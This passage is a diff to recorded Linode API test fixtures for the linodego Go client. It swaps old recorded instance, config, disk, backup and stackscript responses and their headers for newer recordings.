null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240968, "label": "lke75119-116802-633c48cca530", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["50.116.35.19", "192.168.232.82"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240972, "label": "lke75119-116803-633c48ccef6e", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["45.56.115.47", "192.168.232.209"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240974, "label": "lke75117-116799-633c48b0a3b5", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["170.187.139.137", "192.168.235.83"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240982, "label": "lke75119-116803-633c48cda97d", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["194.195.214.58", "192.168.235.122"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240986, "label": "lke75119-116803-633c48ccd858", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["23.92.29.84", "192.168.202.167"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}], "page": 1, "pages": 1, "results": 15}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/29745916 - method: GET - response: - body: '{"id": 29745916, "label": "workdev", "group": "", "status": "running", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": - "g6-standard-2", "ipv4": ["139.177.207.51"], "ipv6": "1234::5678/128", - "image": "linode/fedora34", "region": "us-southeast", "specs": {"disk": 81920, - "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": - 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, - "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["linuke-keep"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "641" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/29745916/configs - method: GET - response: - body: '{"data": [{"id": 31906080, "label": "My Fedora 34 Disk Profile", "helpers": +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/1231 + method: GET + response: + body: '{"errors": [{"reason": "Not found"}]}' + headers: + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "37" + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:15 GMT + Pragma: + - no-cache + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Frame-Options: + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + status: 404 Not Found + code: 404 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances + method: GET + response: + body: '{"data": [{"id": 59542994, "label": "go-test-ins-3812seykyn76", "group": + "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "type": "g6-nanode-1", "ipv4": ["194.195.118.209"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": + 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": + 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": + true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": "2018-01-02T03:04:05"}, "hypervisor": "kvm", "watchdog_enabled": + true, "tags": [], "host_uuid": "0b2d5aae2f89f7a14796533db6c3fd605a035d50", "has_user_data": + false, "placement_group": null}, {"id": 59543048, "label": "go-test-ins-wo-disk-v6p8qg0b815q", + "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.118.254"], "ipv6": + "1234::5678/128", "image": null, "region": "ap-west", "specs": + {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": + {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": + 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": + "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": + "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "454cc4590caa2a8de6a482c1c9e382273edb1576", + "has_user_data": false, "placement_group": null}, {"id": 59544188, "label": + "go-test-ins-wo-disk-k2pw744ul49t", "group": "", "status": "offline", "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", + "ipv4": ["192.46.211.66"], "ipv6": "1234::5678/128", "image": + null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": + 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": + 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": + true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": + null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": + "2e178642a58dc717a260fc2f07a0f9ebec105e2b", "has_user_data": false, "placement_group": + null}], "page": 1, "pages": 1, "results": 3}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:15 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + - Accept-Encoding + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542994 + method: GET + response: + body: '{"id": 59542994, "label": "go-test-ins-3812seykyn76", "group": "", "status": + "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "type": "g6-nanode-1", "ipv4": ["194.195.118.209"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": + 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": + 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": + true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": "2018-01-02T03:04:05"}, "hypervisor": "kvm", "watchdog_enabled": + true, "tags": [], "host_uuid": "0b2d5aae2f89f7a14796533db6c3fd605a035d50", "has_user_data": + false, "placement_group": null}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "794" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:16 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542994/configs + method: GET + response: + body: '{"data": [{"id": 62729621, "label": "My Debian 9 Disk Profile", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/grub2", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "root_device": "/dev/sda", "devices": {"sda": {"disk_id": 60063322, "volume_id": - null}, "sdb": {"disk_id": 60063323, "volume_id": null}, "sdc": null, "sdd": + "root_device": "/dev/sda", "devices": {"sda": {"disk_id": 117262206, "volume_id": + null}, "sdb": {"disk_id": 117262207, "volume_id": null}, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}], "page": 1, "pages": 1, "results": 1}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "653" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/29745916/configs/31906080 - method: GET - response: - body: '{"id": 31906080, "label": "My Fedora 34 Disk Profile", "helpers": {"updatedb_disabled": + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "654" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:16 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542994/configs/62729621 + method: GET + response: + body: '{"id": 62729621, "label": "My Debian 9 Disk Profile", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/grub2", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", - "devices": {"sda": {"disk_id": 60063322, "volume_id": null}, "sdb": {"disk_id": - 60063323, "volume_id": null}, "sdc": null, "sdd": null, "sde": null, "sdf": + "devices": {"sda": {"disk_id": 117262206, "volume_id": null}, "sdb": {"disk_id": + 117262207, "volume_id": null}, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "604" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/29745916/disks - method: GET - response: - body: '{"data": [{"id": 60063322, "status": "ready", "label": "Fedora 34 Disk", + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "605" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:16 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542994/disks + method: GET + response: + body: '{"data": [{"id": 117262206, "status": "ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": - "ext4", "size": 81408}, {"id": 60063323, "status": "ready", "label": "512 MB + "ext4", "size": 25088}, {"id": 117262207, "status": "ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "386" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/29745916/disks/60063322 - method: GET - response: - body: '{"id": 60063322, "status": "ready", "label": "Fedora 34 Disk", "created": + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "387" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:16 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542994/disks/117262206 + method: GET + response: + body: '{"id": 117262206, "status": "ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", - "size": 81408}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "167" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/29745916/backups - method: GET - response: - body: '{"automatic": [], "snapshot": {"current": null, "in_progress": null}}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "69" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/29745916/volumes - method: GET - response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "49" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - X-Filter: - - '{"mine":true}' - url: https://api.linode.com/v4beta/linode/stackscripts - method: GET - response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "49" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - stackscripts:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "20" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" + "size": 25088}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "167" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:16 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write 